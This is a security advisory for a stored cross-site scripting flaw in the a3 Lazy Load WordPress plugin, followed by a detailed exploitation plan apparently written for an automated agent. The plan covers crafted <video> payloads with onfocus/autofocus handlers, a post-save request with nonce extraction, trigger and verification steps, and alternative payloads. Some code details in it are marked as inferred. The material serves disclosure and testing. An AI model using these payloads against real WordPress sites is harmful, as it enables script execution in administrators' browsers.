a3 Lazy Load <= 2.7.6 - Authenticated (Contributor+) Stored Cross-Site Scripting via Video Element
Description
The a3 Lazy Load plugin for WordPress is vulnerable to Stored Cross-Site Scripting in all versions up to, and including, 2.7.6 This is due to a regex bug in the _filter_videos() method that breaks HTML attribute quoting when processing crafted <video> elements, combined with unescaped output in the admin/views/form-data.php template. An authenticated attacker with Contributor-level access can insert a crafted <video> tag whose src attribute contains an embedded class=" substring that tricks the plugin's class-replacement regex into consuming an attribute-value closing quote. This shifts the HTML5 parser's quote boundary, promoting attacker-controlled text from inside a quoted attribute value into standalone event-handler attributes (autofocus, onfocus). The injected script executes in the browser of any user (including administrators) who views the post.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
What Changed in the Fix
Changes introduced in v2.7.7
Source Code
WordPress.org SVN# Exploitation Research Plan - CVE-2026-6427 ## 1. Vulnerability Summary The **a3 Lazy Load** plugin (versions <= 2.7.6) contains a Stored Cross-Site Scripting (XSS) vulnerability. The flaw exists in the way the plugin processes `<video>` elements for lazy loading. Specifically, the `_filter_videos…
Show full research plan
Exploitation Research Plan - CVE-2026-6427
1. Vulnerability Summary
The a3 Lazy Load plugin (versions <= 2.7.6) contains a Stored Cross-Site Scripting (XSS) vulnerability. The flaw exists in the way the plugin processes <video> elements for lazy loading. Specifically, the _filter_videos() method (likely located in the frontend processing classes) uses a regular expression to inject its lazy-loading class. This regex fails to account for attribute values containing substrings that look like other attributes (e.g., a src URL containing class=").
By crafting a <video> tag where a class=" string is embedded within a quoted src attribute, an attacker can trick the regex into consuming the intended closing quote of the src attribute. This results in a "quote boundary shift," where subsequent attacker-controlled text is promoted from a string literal inside an attribute to standalone, executable HTML attributes (like onfocus or autofocus).
2. Attack Vector Analysis
- Endpoint: WordPress Post/Page Editor (Classic or Block Editor).
- Action: Saving or Updating a Post/Page.
- Required Authentication: Contributor-level access or higher. Contributors can create and save posts but cannot publish them; however, the XSS is "Stored" and will execute when a higher-privileged user (Editor/Admin) previews or views the post.
- Vulnerable Parameter:
post_content(via the standard WordPress post save mechanism). - Preconditions: The plugin setting "Video Support" must be enabled (Default is ON). In
a3-lazy-load.php, this is checked via$a3_lazy_load_global_settings['a3l_apply_to_videos'].
3. Code Flow (Technical Trace)
- Entry Point: When a post is rendered on the frontend or in a preview, WordPress applies the
the_contentfilter. - Hook Registration: The plugin hooks into
the_content(or potentiallywp_video_shortcode) to scan for<video>tags. - Processing Function: The
_filter_videos()method (inferred) is called to modify the tags. - Vulnerable Regex Logic:
- The plugin searches for
<video>tags and their attributes. - It attempts to locate the
classattribute to append thea3-lazy-loadclass. - If a
classattribute is missing, it may attempt to inject one.
- The plugin searches for
- The Sink: The regex improperly identifies the boundaries of the
srcattribute because it matches theclass="string inside the URL.- Input:
<video src='video.mp4?dummy=class="' onfocus='alert(1)' autofocus='> - Faulty Transformation: The regex identifies
class="and attempts to "fix" or append to it, misinterpreting the single quote at the end of theautofocusas the closing quote of thesrc.
- Input:
- Output: The malformed HTML is rendered in the browser. The browser's HTML5 parser interprets the injected event handlers as active attributes.
4. Nonce Acquisition Strategy
This vulnerability is exploited via the standard WordPress Post Editor, which uses core WordPress nonces rather than plugin-specific ones.
- Access Editor: The agent must authenticate as a Contributor and navigate to the "Add New Post" page (
/wp-admin/post-new.php). - Extract Core Nonce: The
_wpnoncerequired for saving the post is embedded in the page.browser_navigate("/wp-admin/post-new.php")_wpnonce = browser_eval("document.querySelector('#_wpnonce').value")
- Localization Data: While not strictly necessary for the XSS itself, plugin-specific nonces are often found in the
a3_lazy_load_paramsobject if localized.browser_eval("window.a3_lazy_load_params?.nonce")(inferred key).
5. Exploitation Strategy
The goal is to save a post containing the crafted <video> tag.
Step 1: Authentication
Login as a Contributor user.
Step 2: Payload Injection
Send an HTTP POST request to save a new post with the XSS payload.
- Tool:
http_request - URL:
https://[target]/wp-admin/post.php - Method:
POST - Headers:
Content-Type: application/x-www-form-urlencoded - Parameters:
action:editpostpost_ID:[NEW_POST_ID]_wpnonce:[EXTRACTED_NONCE]post_title:XSS Testcontent:<video src='https://example.com/video.mp4?x=class="' onfocus='alert(1)' autofocus='>post_status:draft
Step 3: Triggering the XSS
Navigate to the post preview or view the post as an Administrator.
- URL:
https://[target]/?p=[POST_ID]&preview=true - Action: The
autofocusattribute forces theonfocusevent to fire immediately upon page load, executingalert(1).
6. Test Data Setup
- Plugin Configuration: Ensure "Video Support" is enabled in the a3 Lazy Load settings (usually found at
/wp-admin/admin.php?page=a3-lazy-load). - User Creation: Create a user with the
contributorrole. - Target Page: Identify a post ID or create a blank draft first to obtain a
post_IDfor theeditpostaction.
7. Expected Results
- The plugin's regex engine should mangle the
<video>tag. - Upon viewing the page source, the
onfocusattribute should appear as a standalone attribute outside of thesrcstring. - A JavaScript alert box with the value
1(or a more complex payload) should appear in the browser context of any user viewing the post.
8. Verification Steps
- Database Check: Use WP-CLI to verify the content is stored:
wp post get [POST_ID] --field=post_content
- Frontend Inspection: Use the
http_requesttool to fetch the post frontend and check for the "broken" tag:http_request("GET", "https://[target]/?p=[POST_ID]")- Search response body for:
onfocus="alert(1)"
9. Alternative Approaches
If the simple alert(1) is blocked or the regex behavior differs slightly:
- Double Quote Variant: Try swapping single and double quotes:
<video src="video.mp4?class='" onfocus="alert(1)" autofocus="> - Attribute Breakout: If the plugin adds its own attributes, try using
/to close the tag prematurely and start a new one:<video src='v.mp4?class=" '><img src=x onerror=alert(1)>. - Admin View: Check if
admin/views/form-data.phprenders this content. If so, navigating to the plugin's "Settings" or "Status" page in the admin dashboard may also trigger the XSS.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.